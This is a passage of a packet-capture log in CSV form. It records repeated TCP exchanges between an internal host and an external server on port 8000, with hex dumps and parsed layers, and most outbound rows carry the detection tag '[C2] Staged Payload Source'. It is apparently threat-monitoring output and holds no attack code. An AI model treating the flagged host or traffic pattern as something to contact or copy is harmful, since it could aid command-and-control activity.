\"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682788, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682787, 1411682788))]\"\"}}]\"\n2026-07-01 09:05:36.495683,87,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682787 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afbc4000800640420a98980bc0a3a789fa201f40542491e3b91036785010201495fd000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 44988, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16450, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682787, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38397, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:36.495717,88,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682788,bc2411360d0cbc24112907bb080045000034e245400040064daec0a3a7890a98980b1f40fa20b9103678542491e48010003f0af700000101050a542491e3542491e4,\".$.6\n..$.)....E..4.E@.@.M.....\n....@. ..6xT$.....?\n......\nT$..T$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57925, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19886, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682788, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682787, 1411682788))]\"\"}}]\"\n2026-07-01 09:05:37.495654,89,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682787 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afbd4000800640410a98980bc0a3a789fa201f40542491e3b91036785010201495fd000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 44989, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16449, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682787, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38397, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:37.495677,90,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682788,bc2411360d0cbc24112907bb080045000034e246400040064dadc0a3a7890a98980b1f40fa20b9103678542491e48010003f0af700000101050a542491e3542491e4,\".$.6\n..$.)....E..4.F@.@.M.....\n....@. ..6xT$.....?\n......\nT$..T$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57926, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19885, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682788, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682787, 1411682788))]\"\"}}]\"\n2026-07-01 09:05:38.511309,91,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682787 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afbe4000800640400a98980bc0a3a789fa201f40542491e3b91036785010201495fd000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 44990, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16448, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682787, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38397, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:38.511337,92,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682788,bc2411360d0cbc24112907bb080045000034e247400040064dacc0a3a7890a98980b1f40fa20b9103678542491e48010003f0af700000101050a542491e3542491e4,\".$.6\n..$.)....E..4.G@.@.M.....\n....@. ..6xT$.....?\n......\nT$..T$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57927, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19884, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682788, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682787, 1411682788))]\"\"}}]\"\n2026-07-01 09:05:39.511377,93,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682787 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afbf40008006403f0a98980bc0a3a789fa201f40542491e3b91036785010201495fd000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 44991, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16447, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682787, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38397, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:39.511387,94,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682788,bc2411360d0cbc24112907bb080045000034e248400040064dabc0a3a7890a98980b1f40fa20b9103678542491e48010003f0af700000101050a542491e3542491e4,\".$.6\n..$.)....E..4.H@.@.M.....\n....@. ..6xT$.....?\n......\nT$..T$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57928, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19883, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682788, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682787, 1411682788))]\"\"}}]\"\n2026-07-01 09:05:40.527049,95,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682787 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afc040008006403e0a98980bc0a3a789fa201f40542491e3b91036785010201495fd000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 44992, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16446, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682787, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38397, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:40.527075,96,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682788,bc2411360d0cbc24112907bb080045000034e249400040064daac0a3a7890a98980b1f40fa20b9103678542491e48010003f0af700000101050a542491e3542491e4,\".$.6\n..$.)....E..4.I@.@.M.....\n....@. ..6xT$.....?\n......\nT$..T$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57929, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19882, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682788, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682787, 1411682788))]\"\"}}]\"\n2026-07-01 09:05:41.450639,97,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,PA,,,Ether > IP > TCP > Raw,4,TCP PA Seq=1411682788 Ack=3104847480,bc24112907bbbc2411360d0c08004500003dafc14000800640290a98980bc0a3a789fa201f40542491e4b9103678501820143a3e00001100c0ff1100000001000000789c73050000460046,............x.s...F.F,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 61, \"\"id\"\": 44993, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16425, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682788, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 14910, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"1100c0ff1100000001000000789c73050000460046\"\"}}]\"\n2026-07-01 09:05:41.450654,98,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682809,bc2411360d0cbc24112907bb080045000028e24a400040064db5c0a3a7890a98980b1f40fa20b9103678542491f95010003f0aeb0000,\".$.6\n..$.)....E..(.J@.@.M.....\n....@. ..6xT$..P..?\n...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 57930, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19893, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682809, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:05:42.464657,99,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682808 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afc240008006403c0a98980bc0a3a789fa201f40542491f8b91036785010201495e8000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 44994, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16444, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682808, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38376, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:42.464670,100,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682809,bc2411360d0cbc24112907bb080045000034e24b400040064da8c0a3a7890a98980b1f40fa20b9103678542491f98010003f0af700000101050a542491f8542491f9,\".$.6\n..$.)....E..4.K@.@.M.....\n....@. ..6xT$.....?\n......\nT$..T$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57931, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19880, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682809, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682808, 1411682809))]\"\"}}]\"\n2026-07-01 09:05:43.480302,101,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682808 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afc340008006403b0a98980bc0a3a789fa201f40542491f8b91036785010201495e8000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 44995, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16443, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682808, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38376, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:43.480332,102,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682809,bc2411360d0cbc24112907bb080045000034e24c400040064da7c0a3a7890a98980b1f40fa20b9103678542491f98010003f0af700000101050a542491f8542491f9,\".$.6\n..$.)....E..4.L@.@.M.....\n....@. ..6xT$.....?\n......\nT$..T$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57932, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19879, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682809, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682808, 1411682809))]\"\"}}]\"\n2026-07-01 09:05:44.496000,103,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682808 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afc440008006403a0a98980bc0a3a789fa201f40542491f8b91036785010201495e8000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 44996, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16442, \"\"src\"\": \"\"10.152.152.11\"\", 